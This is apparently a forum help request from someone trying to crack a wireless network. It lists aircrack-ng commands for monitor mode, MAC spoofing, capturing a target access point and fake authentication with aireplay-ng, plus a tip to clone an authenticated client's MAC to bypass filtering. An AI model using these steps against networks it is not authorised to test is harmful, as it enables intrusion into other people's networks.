When trying to crack a wireless network, I got error from running aireplay-ng.
Here are the commands I run up to calling aireplay-ng.
Open another terminal, run
airmon-ng stop wlan0 # wlan0 is my wireless interface
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
I got this error from running aireplay-ng as above:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) wlan0
This happens when I switch from Gnome Network Manager to WICD. I am not sure why it happens and wonder how to solve this problem?
Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled. Using airodumps screen you can find the MAC address of authenticated users so just change your MAC to theirs and continue on.
* Using the -m option you can specify aircrack to filter packets by MAC Address, ex. -m 00:12:5B:4C:23:27
* Check that the BSSID (-a option) is correct.
* Try to change the number of packets (-o option).
* The driver/card doesn't support injection.
* This attack sometimes fails against some APs.
* The card is not on the same channel as the AP.
* You're too far from the AP. Get closer, or lower the transmit rate.
Thanks and regards!
